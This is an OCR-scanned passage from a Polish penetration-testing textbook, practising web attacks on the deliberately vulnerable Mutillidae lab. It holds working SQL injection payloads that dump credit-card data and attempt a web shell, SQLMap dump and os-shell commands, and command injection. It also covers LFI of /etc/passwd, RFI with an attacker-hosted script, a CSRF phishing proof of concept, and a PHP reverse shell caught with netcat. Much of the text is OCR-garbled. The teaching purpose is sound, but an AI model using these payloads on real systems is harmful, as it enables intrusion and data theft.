Please enter username and password
to view account details

Name lnion select 1VERSION(),3,4,5.6,7 ~

Password

| View Account Details

Dont have an account? Please register here

Results for "' union select 1,VERSION(),3,4,5,6,7 -- ".1 recoi
Username=10.3.22-MariaDB-1lubuntul
Password=3
Signature=4

Rysunek 8.20. SQLi — polecenie union select z wyswietlaniem wersji bazy danych

Skoro juz na wlasne oczy zobaczyles, jak to dziala, nadszed! czas, aby przej$¢ do bardziej zto-
zonego scenariusza. Wykorzystajmy mozliwosci SQLi do zapytania o nazwy wszystkich tabel
w bazie danych (dla zachowania przejrzystosci w przyktadach uzyjemy klienta DBeaver). W zapy-
taniu uzyjemy tabeli information_schema.tables i wy$wietlimy zawarto$¢ kolumny table_name
(patrz rysunek 8.21).

<lacalhost> Seript &2

SELECT * FROM accounts
WHERE username='' union select 1,table name,3,4,5,6,7 FROM information schema.TABLES -- AND password='anything

esult 22
ELECT * FROM accounts WHERE use| 52 b vl & R &«

LFcid T3[R U1 =% password 73|28 mysignature T3| =% is_admin T.‘Ilhasfirstname EHE 1!

1 TABLES 3 4 &
1 TABLESPACES
1 TABLE_CONSTRAINTS
1 TABLE_PRIVILEGES
1 TABLE_STATISTICS
1 TRIGGERS
1 USER_PRIVILEGES
1 USER_STATISTICS
1 VIEWS
(i} 1 accounts
1
1
1
1
1
1
= |
1

balloon_tips
blogs_table
captured_data
column_stats
columns_priv
cond_instances
L |
db

Wl W w W W W W W W W W W W
T O i S N S -
T R R AT R v T R T P T RV R
(-3 S W . SRS R . - - . S R - S
B B B B B B (I R R R )

Rysunek 8.21. Tabela schematu — pole credit_cards

Wyglada na to, ze w bazie znajduje si¢ bardzo obiecujaca tabela o nazwie credit_cards,
zatem z pewnoécia warto bedzie sprawdzi¢ nazwy jej kolumn. Tym razem skorzystamy z tabeli
information_schema.columns i wy$wietlimy zawarto$¢ kolumny column_name dla tabeli o nazwie
credit_cards, tak jak to zostalo pokazane na rysunku 8.22.

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/kalibi
https://helion.pl/rt/kalibi

218 Rozdziat8 ® Podatnosciiluki w zabezpieczeniach aplikacji internetowych

*<localhost> Script &2
SELECT * FROM accounts
WHERE usernames'

union select 1,column name,3,4,5,6,7 FROM information schcma "COLUMNS®
where TABLE MMT[— credit (.nd'. AND password='anything

Result &

SELECT * FROM accounts WHERE use 53

vicid V1| e username U1 s password Ti| e
1 1] E 4
Fd 1 ccnumber 3 4
3 1 cev 3 4
4 1 expiration 3 4

Rysunek 8.22. Zapytanie do tabeli credit_cards

Na koniec sprébujemy pobrac dane z tabeli credit_cards. Potaczymy wyniki w jeden ciag
znakow za pomoca funkeji concat i uzyjemy znaku 0x3A jako separatora pol, tak jak pokazano na
rysunku 8.23 (0x3A to zapisany w postaci szesnastkowej znak dwukropka).

IT *<localhost> Script 2

» SELECT * FROM acccunls

WHERE username=’

union select 1,CONCAT(ccnumber,Bx3a, c:v] +3.4,5,8,7
&y FROM credit cards -- ' AND password='anything

o

E Result 2

«T SELECT * FROM accounts WHERE use 23

h] |1iécid TIIﬂeusername L =% passy
Sa| TED |3
= 2 1 7746536337776330:722 3
o Z‘ 1 B242325748474749:461 3
24 1 7725653200487633:230 3
: 54( 1 1234567312345678:627 3
1

Rysunek 8.23. Pobieranie danych z tabeli credit_cards

Teraz juz wiesz, jak hakerzy wykradaja dane kart kredytowych z witryn internetowych.
Pamietaj, aby$ nigdy nie wykorzystywal tej wiedzy w ztych zamiarach. A teraz, na koniec, spro-
bujemy jeszcze wykona¢ kolejne polecenie SQL (patrz rysunek 8.24) i sprawdzimy, czy uda nam
sie zapisa¢ dane na serwerze WWW i uzyska¢ dostep do zdalnej powtoki.

T *<localhost> Script 52

» SELECT * FROM accounts
WHERE username=""'
union select 1,"=?php echc shell_exec($ GET['cmd' ]} " 3 4, 5 6, ?

into OUTFILE '/var/wwa/html/eutillidae/shell.php’| - 4=" anvthi

E Result 2

T SELECT * FROM accounts WHERE use| 3

SQL Error [1] [HY000]: (conn=297) Can't create/write to File *var/www/html/- Details >>
mutillidae/shelLphp' (Errcode: 13 “*Permission denied”)

Rysunek 8.24. Zapytanie SQLi — wykonanie polecenia na poziomie systemu

To byla niezta proba, ale niestety, system nie pozwolit nam na dostep do dysku.
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Automatyzacja wstrzykiwania kodu SQL za pomoca programu SQLMap

Program SQLMap jest bardzo popularny, wigc zobaczymy teraz, jak mozesz go uzy¢, gdy chcesz
przeprowadzi¢ szybki test. Musze jednak przyzna¢, ze nie uzywam zbyt czesto tego programu
podczas przeprowadzania testow penetracyjnych (cho¢ korzystam z niego w wyzwaniach CTF);
zamiast tego do wyszukiwania podatno$ci aplikacji na wstrzykiwanie kodu SQL wykorzystuje
pakiet Burp Pro Scanner.

Aby przeszuka¢ adresy URL aplikacji internetowej pod katem stron podatnych na ataki SQLI,
mozesz uzy¢ nastepujacego polecenia:

$ sqlmap -u [adresURL] --crawl=1
Aby sprawdzi¢ wersje¢ serwera bazy danych:
$ sqlmap -u [adresURL] --banner

Aby wybra¢ rodzaj serwera bazy danych (np. mysql), na ktérym przeprowadzasz testy wstrzy-
kiwania SQL, uzyj takiego polecenia:

$ sqlmap -u [adresURL] --dbms [rodzaj serwera bazy danych]

Wybranie odpowiedniego rodzaju serwera bazy danych pomoze programowi SQLMap wy-
bra¢ odpowiednie parametry i zapytania SQLI.

Jezeli okaze sig, ze cel jest podatny na ataki i bedziesz chcial wyliczy¢ dostepne bazy danych,
uzyj nastepujacego polecenia:

$ sqlmap -u [adresURL] --dbs

Jezeli chcesz wyswietli¢ liste tabel w wybranej bazie danych, uzyj takiego polecenia:

$ sqlmap -u [adresURL] -D [nazwa bazy danych] --tables

Aby pobra¢ zawarto$¢ wybranej tabeli (np. users), uzyj nastepujacego polecenia:

$ sqlmap -u [adresURL] -D [nazwa bazy danych] -T [nazwa tabeli] --dump

Mozesz réwniez dokonac préby uzyskania dostepu do powloki systemu operacyjnego, uzy-
wajac nastepujacego polecenia:

$ sqlmap -u [adresURL] --os-shell

Testowanie podatnosci na ataki SQL Injection

Skad wiadomo, ze dana strona czy aplikacja internetowa jest podatna na ataki ze wstrzykiwaniem
kodu SQL? Mozna to sprawdzi¢ na dwa sposoby:

= Dodaj pojedynczy apostrof do danych wejéciowych strony (w adresie URL, w polu
tekstowym, nagtéwku itp.).
= Jezeli pojawi si¢ komunikat o biedzie SQL, moze to oznaczad, Ze strona jest podatna
na atak.

= Uzyj zautomatyzowanego narzedzia (na przyklad Burp Pro Scanner) do
przeprowadzenia proby ,$lepego” wstrzykiwania kodu SQL (ang. blind SQL injection).
Taki atak zazwyczaj nie spowoduje wyswietlenia komunikatu o bledzie, ale mimo to
strona moze by¢ podatna na SQLI. Jezeli chcesz przeprowadzi¢ taki atak recznie,
mozesz sprébowaé metody z opdznianiem czasu tadowania strony.
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Przetestujemy takie podejécie na stronie User Lookup aplikacji Mutillidae, gdzie wstawimy
pojedynczy apostrof w polu Name, jak pokazano na rysunku 8.25.

Password

[ View Account Details ]

Dont have an account? Please register here
br Message

Failure is always an option

Line 229
—
File Jvarfwww/html/mutillidae/classes/MySOLHandler. php

Jvar fuww/himl/mutil lidae/classes/MySQLHandler . php on Line 22-?El;or_execut1n_g aar;:

cnr'np.n_orrnn: o
errna: 1064
Mess error: You have an error in your SOL syntax; check the manual that corresponds to your MariaDB server version
age line 2
client_info: mysqlnd 7.4.3
host_info: 127.0.0.1 via TCP/IP

| ) Query: SELECT * FROM accounts WHERE username="'' AND password="' (B} [Exception]

Rysunek 8.25. Komunikat o btedzie po ataku SQLi

Jak wida¢, na stronie zostal wyswietlony komunikat o btedzie informujacy, Ze SQL Server nie
potrafil wykona¢ nastepujacego zapytania:

Select * from accounts where username= and password=""

Wstrzykiwanie polecen

Podatnos¢ aplikacji lub strony internetowej na wstrzykiwanie polecen pozwala napastnikowi na
wykonywanie praktycznie dowolnych komend. Gdy podczas przeprowadzania testu penetracyj-
nego znajdziesz aplikacje lub strone internetowa, ktdra oferuje mozliwos¢ wykonania jakiego$
konkretnego polecenia (np. ns1ookup), zawsze warto sprawdzi¢, czy nie jest podatna na wstrzy-
kiwanie innych polecen.

Przyjrzyjmy si¢ zatem praktycznemu przykladowi wstrzykiwania polecen i z pewnoécia nie
bedziesz zaskoczony, ze kolejny raz uzyjemy do tego celu aplikacji Mutillidae. Aby zacza¢, z menu
gléwnego aplikacji wybierz polecenie Owasp 2017/A1 — Injection (Other)/Command Injection/
DNS Lookup (Owasp 2017/A1 — wstrzykiwanie (inne)/wstrzykiwanie polecen/wyszukiwanie DNS).

Poniewaz wybrana strona w celu wyswietlenia wynikéw wykonuje polecenie DNS Lookup,
istnieje prawdopodobienstwo, ze jest podatna na wstrzykiwanie innych polecen. Co tak na-
prawde dzieje sie na zapleczu aplikacji, kiedy uzytkownik w polu tekstowym Hostname/IP wpisze
adres IP? Najprawdopodobniej jest on przekazywany do funkcji PHP, ktdra wykonuje ponizsze
polecenie, gdzie podany adres IP jest argumentem wywolania:

nslookup [adres IP]
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Jezeli programista nie zaimplementowat sprawdzania poprawnosci przekazywanych parame-
trow, mozemy sprobowaé to wykorzystaé. Naszym celem jest sprawienie, aby na zapleczu apli-
kacji zostalo wykonane polecenie podobne do pokazanego ponizej (dzieki zastosowaniu opera-
tora & mozemy dolaczal wiele polecen jednocze$nie):

nslookup [adres IP] &% [polecenie 0S]

Ze wzgledu na fakt, ze nasza aplikacja Mutillidae dziala na serwerze linuksowym, do przete-
stowania mozliwosci wstrzykiwania uzyjemy polecenia 1s (patrz rysunek 8.26).

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP 1721601 &&ls

—_—
L Lookup DNS ]

| Results for 172.16.0.1 && s

11.0.16.172.in-addr .arpa name = pfSense.KCorp.local.

|Autharitative answers can ba found from:
! README - INSTALLATION. md

| README. nd
|add-to-your-blog.php

|ajax
|arbitrary-file-inclusion.php
ilntharirntinn-ruquird,php
|back-button-discussion.php
|browser-info.php
leacha-control .oho

Rysunek 8.26. Mutillidae — wstrzykiwanie polecen

Co dalej? Jak wida¢, nasze testowe polecenie 1s zostalo wykonane pomysélnie, zatem mozemy
je teraz sprobowac zastapi¢ poleceniem uruchamiajacym zdalng powtoke.

Podatnosc na dotaczanie plikow

Podatnoé¢ aplikacji lub strony internetowej na dofaczanie plikéw moze zosta¢ wykorzystana po-
przez wskazanie $ciezki do pliku (lokalnego lub zdalnego) za pomoca adresu URL. Jezeli w gre
wchodzi plik lokalny znajdujacy si¢ na serwerze WWW, méwimy o podatnosci na dotaczanie
plikow lokalnych (LFI — ang. Local File Inclusion), a jezeli plik jest zdalny, méwimy o podatno-
$ci na dolaczanie plikéw zdalnych (RFI — ang. Remote File Inclusion). Tego typu luki wystepuja
zwykle w starszych aplikacjach napisanych w PHP i ASP, kiedy programista zapominat o spraw-
dzeniu poprawnoéci danych wejsciowych przekazywanych do funkeji. Podatnosci typu LFI czy
RFI sg czesto spotykane w wielu zadaniach typu CTF (ang. Capture The Flag).

LFl — dotaczanie plikéw lokalnych

Podatnos¢ na dofaczanie plikéw lokalnych (LFI) moze by¢ wykorzystana poprzez umieszczenie
w adresie URL $ciezki wskazujacej na plik znajdujacy si¢ na lokalnym serwerze WWW. Zazwy-
czaj proba wykorzystania takiej podatnosci wiaze sie z koniecznoécig wstawienia do adresu URL
szeregu znakow pozwalajacych na przechodzenie przez drzewo katalogéw w systemie plikow.
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Zatézmy, ze mamy podatng na atak LFI aplikacje internetowa, ktéra faduje strone gtéwna
W nastepujacy sposob:

http://[nazwa domeny] /home.asp?file=1ogin.html

Jak wida¢, aplikacja uzywa zmienne;j file do zaladowania strony HTML z logowaniem. A gdyby
tak zamieni¢ adres tej strony na $ciezke prowadzaca do wybranego pliku w systemie plikow?

http://[nazwa domeny] /home.asp?file=../../../../../etc/passwd

Zobaczmy, czy mozemy zastosowaé takie rozwiazanie w aplikacji Mutillidae. Gdy odwie-
dzimy strone gtéwna, w pasku adresu przegladarki sieciowej zobaczymy nastepujacy adres URL:
http://localhost/mutillidae/index.php?page=home.php

Jest to o tyle ciekawe, ze strona uzywa zmiennej page do dynamicznego zaladowania pliku
z serwera (w tym przypadku home.php). Zobaczmy, czy mozemy zastapic¢ strone home.php $ciezka
do pliku passwd (patrz rysunek 8.27).

@ @ localhost/mutillidae/indexphp?pages=../././. fetc/passwd - @ mn o &

o OWASP Mutillidae Il: Keep Calm and Pwn On

Version: 2.7.14 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

bme  Login/Register Toggle Hints  Show Popup Hinls  Toggle Securily  Enforce 851 Hesel DB View Log  View Caplured Dala

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usrfsbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:fusr/fgames:/usr/sbin/nologin
man:x:6:12:man:/var/cachae/man:/usr/sbin/nologin Ip:x:7:7:1p:/varispool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:
Jusr/sbin/nologin news:x:9:9:news:/varfspool/news:/usr/sbin/nolegin uucp:x:10:10:uucp:/var/spoolfuucp:/usrisbin/nelogin
proxy:x:13:13:proxy:/bin:fusr/sbin/nologin www-data:x:33:33:www-data:/varfwww:/usr/sbinfnologin
backup:x:34:34:backup:/var/backups:/usrfsbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
Ire:x:39:39:ircd: var/runfircd:/usrisbin/nologin gnats:x:41:41:Gnats Bug-Reporting System {admin):/var/lib/gnats:/usr/sbin
[nologin nobody:x:65534:65534:nobody:/nonexistent: fusr/sbin/nologin systemd-network:x:100:102:systemd Network
Management,,,:frun/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemnd Resolver,,,:/run/systemd:/usr/sbin
/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

Rysunek 8.27. Mutillidae — pobieranie pliku passwd

Swietnie! Teraz Twoja kolej, aby to wykorzysta¢. W dalszej czesci ksigzki poznasz liste plikéw,
ktdére warto sprawdzi¢ w réznych systemach operacyjnych, ale na razie skupimy si¢ na lepszym
zrozumieniu tej koncepcji.

RFI — dotaczanie plikéw zdalnych

Podatno$¢ na dofaczanie plikéw zdalnych (RFI) moze by¢ wykorzystana poprzez zaladowanie
zdalnego pliku znajdujacego si¢ na innym serwerze WWW. Aby to zrobi¢, witryna lub aplikacja
internetowa musi mie¢ mozliwo$¢ zatadowania pliku za pomocg nastepujacego wywotania:

http://[nazwa domeny] /page.php?file=[zdalny adres URL]/shell.php
Sprébujemy to prze¢wiczy¢ na nastgpujacym adresie URL w Mutillidae:

http://localhost/mutillidae/index.php?page=arbitrary-file-inclusion.php
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Zanim go wykorzystamy, musimy dokona¢ zmiany w pliku php.ini na serwerze. W naszym
przypadku plik ten znajduje si¢ pod adresem /etc/php/7.4/apache2/php.ini. Otworz plik do edycji
w swoim ulubionym edytorze tekstu i upewnij sig, ze znajduja sie w nim nastepujace wpisy:

Allow_url_fopen=0n

Allow_url_include=0n

Po sprawdzeniu i ewentualnym ustawieniu tych dwdch zmiennych upewnij sig, ze zmodyfi-
kowany plik zostal zapisany na dysku, a nastepnie zrestartuj serwer WWW:

§ service apache2 restart

Teraz przygotujmy skrypt PHP, ktory pozwoli nam na zdalne wykonanie polecenia 1s. Plik
PHP mozemy umie$ci¢ na naszym hoscie Kali (upewnij sig, ze serwer WWW jest wlaczony).
Na maszynie Kali w katalogu /var/www/html/ utwérz plik shell.txt.

root@kali:~# cd /var/www/html/

root@kali:/var/www/html# service apache2 start
root@kali:/var/www/html# echo "<?php echo shell_exec("1s");?>"> shell.txt

Gotowe! Teraz mozemy sprobowa¢ zdalnie wywota¢ ten skrypt z serwera WWW Mautillidae

(patrz rysunek 8.28):
Adres IP systemu Kali: 172.16.0.102
Adres IP hosta Mutillidae Ubuntu: 172.16.0.107

Kali Fr NetHunter ]| Offe ty Explof GHDB [ My

ok OWASP Mutillidae II: Keep Caln

Version: 2.7.14 Security Level: 0 (Hosed) Hints: Enabled (1 -

Home Login/Register Toggle Hints Show Popup Hints Toggle Security  Enforce SSL Re|

README-INSTALLATION.md README.md add-to-your-blog.php ajax arbitrary-file-inclusion.php a
cache-control.php capture-data.php captured-data.php classes client-side-comments.php client
credits.php database-offline.php directory-browsing.php dns-lookup.php document-viewer.php g
framing.php hints-page-wrapper.php home.php htmi5-storage.php images includes index.php ja
generator.php passwords pen-test-tool-lookup-ajax.php pen-test-tool-lookup.php php-errors.phpg
redirectandlog.php register.php rene-magritte.php repeater.php robots-txt.php robots.txt secre
database.php show-log.php site-footer-xss-discussion.php source-viewer.php sgimap-targets.ph
styling.php test text-file-viewer.php upload-file.php user-agent-impersonation.php user-info-xpat)
privilege-level.php webservices xml-validator.php

Rysunek 8.28. Mutillidae — dotaczanie plikéw zdalnych

Skoro wszystko dziala zgodnie z oczekiwaniami, mozesz teraz sprobowac zastgpi¢ polecenie
s odpowiednim skryptem w jezyku Python, Perl itp., kompatybilnym ze zdalnym serwerem
i wywolujacym zdalng powloke.

Aby znalez¢ odpowiedni interpreter jezyka skryptowego, mozesz skorzy-
stac z polecenia which. Na przykfad polecenie which python wskaze $ciezke do pliku wy-
konywalnego interpretera jezyka Python (o ile oczywiscie jest on zainstalowany na zdal-
nym serwerze).
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Podatnosci typu CSRF

Wykorzystanie podatnosci typu CSRF (ang. Cross-Site Request Forgery) polega na wykorzystaniu
sesji uzytkownika do wykonania w jego imieniu odpowiednio spreparowanego zgdania POST. Ataki
typu CSRF moga by¢ skuteczne na przykiad na blogach lub w mediach spotecznosciowych. Aby
przeprowadzenie takiego ataku bylo mozliwe, napastnik musi przekonac¢ ofiare do klikniecia zto-
$liwego linku, a nastepnie przechwycic jej sesje i wykona¢ ztosliwg transakcje (np. przelew pieniedzy).

Zanim przejdziemy do przykladu praktycznego, warto dowiedziec sie, jak dziata atak CSRF
i jak przetestowac takg luke. Kiedy uzytkownik uwierzytelnia si¢ na stronie, tworzony jest dla
niego unikatowy plik cookie sesji. Taki plik cookie pozostaje aktywny az do chwili wygasniecia,
nawet jezeli uzytkownik przejdzie w miedzyczasie na inng strong.

W naszym przykladzie ponownie postuzymy sie strong bloga aplikacji internetowej Mutillidae
(patrz rysunek 8.29):

http://[adres IP]/mutillidae/index.php?page=add-to-your-blog.php

( Welcome To The Blog

-
\‘_y Back e Help Me!

Hints and Videos
&dd New Blog Entry
 View Blogs
Add blog for anonymous
Note: <b>,<i> and <u> are now allowed in blog entries
| Save BlogEntry
Y View Blogs
1 Current Blog Entries
| Name | Date Comment

1 |anonymous 2009-03-01 22:27:11 An anonymous blog? Huh?

Rysunek 8.29. Strona bloga w aplikacji Mutillidae

Zobaczymy teraz, jak taki atak moze przebiega¢ w rzeczywistym scenariuszu. Zatézmy, ze
nasz napastnik, nazwijmy go Elliot, chce wlamac sie do swojej ofiary, dziewczyny o imieniu Angela,
pracujacej w firmie KCorp.

Przebieg ataku z punktu widzenia napastnika

Elliot analizuje zawartos¢ strony bloga Mutillidae i stwierdza, ze jest ona podatna na atak typu
CSRF. Nastepnie napastnik tworzy zlodliwg strone, ktéra bedzie miata na celu zainfekowanie
komputera Angeli. Aby wykona¢ to zadanie, Elliot uzywa pakietu Burp Suite do przechwycenia
zadania strony, a nastepnie klika prawym przyciskiem myszy i probuje wygenerowaé CSRF PoC,
jak pokazano na rysunku 8.30 (mozemy zauwazy¢, ze Elliot uzywa wersji Pro pakietu Burp, a nie
wersji darmowej).
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&7 Request te hitp: /17216 0. 107:80

_ Forward | _ orep || interceptisen | Aekion

Ram | Params | Headers | Hex |

1 POST /mutilladaesindex.phpipage=add-to-your-blog.php HITF/1.1
2 Host: 172.16,0.107
2 User-Agent: MazillafS,@ (X11; Linux xBS B4; rv:€8.0) Gecko/20100101 Firefor/68.0
4 Accept: text/htsl aDro'\'l:atxqm'!htl'l‘xﬂ'l.Wn'l:catlcn.‘rll:q-o 9.4 ¢ q=0.8
5 ACCERT-LARGURgE: en-US.en:g=0.5
& Accept-Encoding: gzip, deflate
Referer: hitp:f/172.16.0.107/nut1l1lidae/indes, php?page=add-to-your -blog.php
& Contert-Type: application/s-www-form-urlencoded
5 Contert -Length: 78
10 Comnection: clese
|11 Cockie: showhinte=1: PHPSESSID=07)Unasatoed dpnotfiasestart
12 Upgrade-Insecure-Requests: 1

4 esrf-tokermiblog_ent ry=test&add-ta-your-blog-php-subnit-buttor=SauesBlageEnt ry

Scan

Do passhie scan

Do actve scan

Send ta Intruder Ctri+l
Send ta Repeater Chri+R
Send o Sequencer

Send to Comparer

Send 1o Decoder

Request in browser 3

§ Find references
Change request methed Discever cantent
Change bedy eneading
Copy URL
Comy an curl command

Rysunek 8.30. Burp Suite — generowanie CSRF PoC

Po kliknieciu przycisku Generate CSRF PoC (wygeneruj CSRF PoC) na ekranie pojawia sie
okno dialogowe z wygenerowanym kodem PoC, pozwalajacym na przeprowadzenie ataku. Elliot
kopiuje wygenerowany kod, uzywajac przycisku Copy HTML, jak pokazano na rysunku 8.31.

CSRF PoC generator - O x

Requestto: http://172.16.0.107 @ '. Clpt.ions.
[qu Params | Headers |Hex I

POST /mutillidae/index.php?page=add-to-your-klog.php HTTR/1.1 i
Host: 172,16,0.107

User-Agent: Mozilla/5.0 [X11l: Linux xBE_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/htnml,application/xhtml+xnl,application/xml;q=0,9,%/%;q=0.8

Accept-Language: en-US,en;:g=0.5

Accept -Encoding: gzip. deflate

Referer: http://172.16.0.107/mutillidae/index.php?page=add-te-your-blog.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

1.' Connection: close

Cookie: showhints=1: PHPSESSID=97i8nm9Sfooil3omofBasegfarf y

®{:} L_, = |2 0 matches LJ Pretty

W e

BT CY

oW

CSRFHTML:
1f=html> A
2] =<l-- CSRF PoC - generated by Burp Suite Professional --= P
3| <body>
4] <script=history.pushState(''., ', '/')</script=
5 =form action="http://172.16.0.107/mutillidae/index.php?page=add-te-your-blog.php" method
& <input type="hidden" name="csrf&#45;token” value="" />

<input type="hidden" name="hlog&#95;entry” value="test" /=
8 <input type="hidden" name="addi#45;to&#45; yours#ds;blogs#ds; php&#ds; submit &#45; button®
9 <input type="submit" value="Submit request"” /=
1 </form>
=fbody>
=/html>

=3
v

) "k_ = e
0@ B 1 omatches [0 ) (B

Regenerate Testin browser | | CopyHTML | | Close
Rysunek 8.31. Burp Suite — przycisk Copy HTML w oknie generatora kodu CSRF PoC
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Po skopiowaniu kodu HTML napastnik zapisuje go do pliku na serwerze WWW swojego
hosta Kali:

/var/www/html/csrf.html

Teraz Elliot wykonuje jeszcze jeden, ostatni krok — wysyta odpowiednio spreparowang
wiadomos¢ e-mail do Angeli, aby przekona¢ ja do klikniecia linka prowadzacego do nastepujacej
strony:

http://[adres IP Kali]/csrf.html

Napastnik musi si¢ rowniez postaraé, aby Angela otworzyta stron¢ bloga w osobnej karcie
przegladarki (pamietajmy, ze do pomyslnego przeprowadzenia ataku CSRF potrzebna jest sesja
ofiary).

Przebieg ataku z punktu widzenia ofiary

Teraz dla napastnika nadszed! czas oczekiwania na to, aby Angela otrzymata wystang do niej
wiadomo$¢ phishingows i klikneta umieszczony w niej link. Gdy to zrobi, przejdzie na strone kon-
trolowanego przez napastnika serwera Kali, gdzie bedzie mogta klikna¢ przycisk Submit Request
(wyslij zadanie). Oczywiscie w naszym przykltadzie, na rysunku 8.32, uzywamy hosta lokalnego
(Tocalhost) i pustej strony z jednym przyciskiem (pamietajmy, ze to tylko PoCl!), ale w prawdzi-
wym scenariuszu ataku bedzie to prawdziwy serwer WWW, ktéry napastnik wybierze do hosto-
wania swojej odpowiednio przygotowanej, ztosliwej strony.

172.1 nutitlida

= ¢ @

Kali Linux Kali Training Ka ols  # Kali Docs Kali Forums

Submit request

Rysunek 8.32. Strona CSRF PoC

Zwrd¢ uwage, Ze na pierwszej karcie przegladarki Angela ma juz otwarta strong bloga Mutil-
lidae. Po naci$nieciu przycisku Submit Request zostanie przekierowana na strone bloga, na ktdrej
znajduje sie juz nowy, wygenerowany przez napastnika wpis, pokazany na rysunku 8.33.

N View Blogs
3 Current Blog Entries
= . e ——— =
1 |anonymous 2020-07-09 08:14:31 [Helio FRIEND, -.E;E'l':l};{T
2 anonymous 2020-07-09 08:13:19 test
3 anonymous 2009-03-01 22:27:11 An anonymous blog? Huh?

Rysunek 8.33. Wyniki testu CSRF PoC

Przesytanie plikéw
Luki w zabezpieczeniach przesylania plikéw moga by¢ wykorzystywane do fadowania ztosliwych

plikow na docelowy serwer WWW. W praktyce zazwyczaj celem hakera jest przestanie powtoki
webowej (ang. webshell), ktéra bedzie mozna uruchomi¢ na serwerze ofiary. Warto zauwazy¢,
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ze serwery WWW zazwyczaj obstuguja wiecej niz jeden jezyk programowania, wiec jezeli atako-
wana strona korzysta z PHP, niekoniecznie musi to oznaczaé, ze jedynym wyborem jest webshell
PHP (duzo zalezy od tego, jak administrator skonfigurowat serwer WWW).

Proste przesytanie plikéw

W tym przykladzie uzyjemy aplikacji Mutillidae (z poziomem bezpieczenistwa ustawionym na
zero, czyli bez zadnych mechanizméw kontroli bezpieczeristwa) do pokazania, w jaki sposob
mozna przesta¢ webshell PHP na serwer WWW. Oczywiscie webshell PHP jest tu tylko przykta-
dem, poniewaz w ten sam sposéb powinnismy by¢ w stanie przesta¢ na serwer WWW praktycz-
nie dowolny plik.

Aby rozpoczaé, w aplikacji Mutillidae przejdz do strony Upload a File (wysytanie plikow),
pokazanej na rysunku 8.34:

http://[adres IP]/mutillidae/index.php?page=upload-file.php

Kali Forums NetHunter § Of curity Exploit-DB GHDB | MSFU le

e OWASP Mutillidae II: Keep Calm and Pwn On

Verslon: 2.7.14 Security Level: 0 (H d) Hints: d (1 - Try easler] Not Logged In

Home Login/Register Toggle Hints  Show Popup Hints  Toggle Security  Enforce SS1L Reset DB View Log  View Captured Data

P S
\Jj Back ﬁ Help Me!

Hints and Videos

[ Upload a File

[ Please choose file to upload J

Filename | 1
Rysunek 8.34. Przesytanie plikéw w aplikacji Mutillidae
Na komputerze napastnika utwoérz kopie powtoki PHP webshell (taka powloka jest preinsta-
lowana w systemie Kali Linux):
root@kali:~# cp /usr/share/laudanum/php/php-reverse-shell.php /root/Documents

Nastepnie otwérz skopiowany plik do edycji i upewnij sie, ze zawiera on adres IP Twojego
hosta Kali oraz numer portu, na ktérym chcesz nastuchiwaé:

$ip = '172.16.0.102"'; // ZMIEN TUTA]
$port = 2222; // ZMIEN TUTA]

Po zapisaniu pliku utwérz odpowiedniego listenera za pomocg programu Netcat:

root@kali:~/Documents# nc -nlvp 2222
listening on [any] 2222 ...

Teraz jeste$ juz gotowy do zainfekowania serwera docelowego. Wr6¢ do strony przesylania
plikéw aplikacji Mutillidae i sprobuj przesta¢ plik webshell. Po zakoniczeniu przesytania pliku na
stronie pojawi sie jego status, jak pokazano na rysunku 8.35.
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Upload a File

File uploaded to /tmp/phpQUaf48
File moved to /tmp/php-reverse-shell.php
Validation not performed

Original File Name php-reverse-shell.php
Tempoerary File Name ftmp/phpQUaf48
Permanent File Name ftmpiphp-reverse-shell.php
File Type application/x-php

File Size 5KB

Please choose file to upload

Filename +

Rysunek 8.35. Mutillidae — zakoriczenie przesytania pliku

Jak dotad wszystko idzie §wietnie. Teraz zmien adres URL tak, aby wskazywal na nowy plik
PHP, zawierajacy nasza powloke webowa:

http://[adres IP]/mutillidae/index.php?page=/tmp/php-reverse-shell.php

Teraz otworz strone ze zmodyfikowanym, ztosliwym adresem URL i wr6¢ do okna terminala,
a zobaczysz, ze udato nam si¢ uzyskac zdalng powtoke:

root@kali:~/Documents# nc -nlvp 2222

listening on [any] 2222 ...

connect to [172.16.0.102] from (UNKNOWN) [172.16.0.107] 57374

Linux ubuntu 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64
>x86_64 GNU/Linux

09:48:20 up 6 days, 18:30, 1 user, 1load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE  JCPU PCPU WHAT

gus :0 :0 03Ju120 ?xdm? 48:23  0.00s /usr/1ib/gdm3/gdm-x-session
“--run-script env GNOME_SHELL SESSION MODE=ubuntu /usr/bin/gnome-session --systemd --
>session=ubuntu

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: 0: can't access tty; job control turned off

$ pwd

/
$

Omijanie walidacji

W poprzednim przykladzie w aplikacji Mutillidae nie mieli$my wtaczonych zadnych mechani-
zmo6w ochrony i odwrdcona powloka PHP zostala przestana pomyslnie. Istnieje jednak wiele
sposobow, aby zabezpieczy¢ przesylanie plikdw, ale takze wiele innych, aby obej$¢ takie zabez-
pieczenia. W tym przykladzie zobaczysz, jak oming¢ ochrong rozszerzen plikow, czyli scenariusz,
w ktérym programista zablokowal mozliwo$¢ przesylania plikéw o niepozadanych rozszerze-
niach i dozwolone jest przesylanie na przyklad tylko obrazéw. W takim przypadku wystarczy
przechwyci¢ zagdanie w pakiecie Burp Suite (patrz rysunek 8.36) i wprowadzi¢ w nim odpowied-
nie zmiany. W aplikacji Mutillidae uzyjemy tej samej strony przesylania plikow co w poprzednim
przykladzie, ale tym razem zaladujemy normalny plik obrazu. Na tym etapie nie chcemy, aby
walidacja JavaScript uniemozliwita nam zatadowanie powtoki.
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L POST smutillidaesindes.phpfpagesupload-file php HITR/1.1
2 Host: 172.16,0.107
